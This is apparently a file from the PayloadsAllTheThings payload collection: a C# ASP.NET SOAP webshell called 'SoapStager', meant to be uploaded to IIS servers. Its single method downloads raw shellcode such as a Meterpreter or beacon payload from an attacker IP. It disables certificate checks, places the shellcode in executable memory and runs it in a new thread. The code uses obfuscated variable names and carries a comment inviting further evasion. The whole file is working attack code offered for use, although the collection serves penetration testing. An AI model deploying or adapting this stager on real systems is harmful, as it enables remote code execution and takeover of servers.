PayloadsAllTheThings/Upload Insecure Files/Extension ASP/shell.soap
2022-04-18 21:32:54 +02:00

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<%@ WebService Language="C#" class="SoapStager"%>
using System;
using System.IO;
using System.Web;
using System.Web.Services;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Security;
// SRC: https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap
// https://github.com/0xbad53c/webshells/tree/main/iis
[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
public class SoapStager : MarshalByRefObject
{
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
[System.ComponentModel.ToolboxItem(false)]
[WebMethod]
public string loadStage()
{
string Url = "http://10.90.255.52/beacon.bin"; //your IP and location of meterpreter or other raw shellcode
byte[] rzjUFlLZh;
IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;
// in case of HTTPS
using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
webClient.UseDefaultCredentials = true;
rzjUFlLZh = webClient.DownloadData(Url);
}
// Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion
IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length);
IntPtr owlqRoQI_ms = IntPtr.Zero;
IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms);
return "finished";
}
}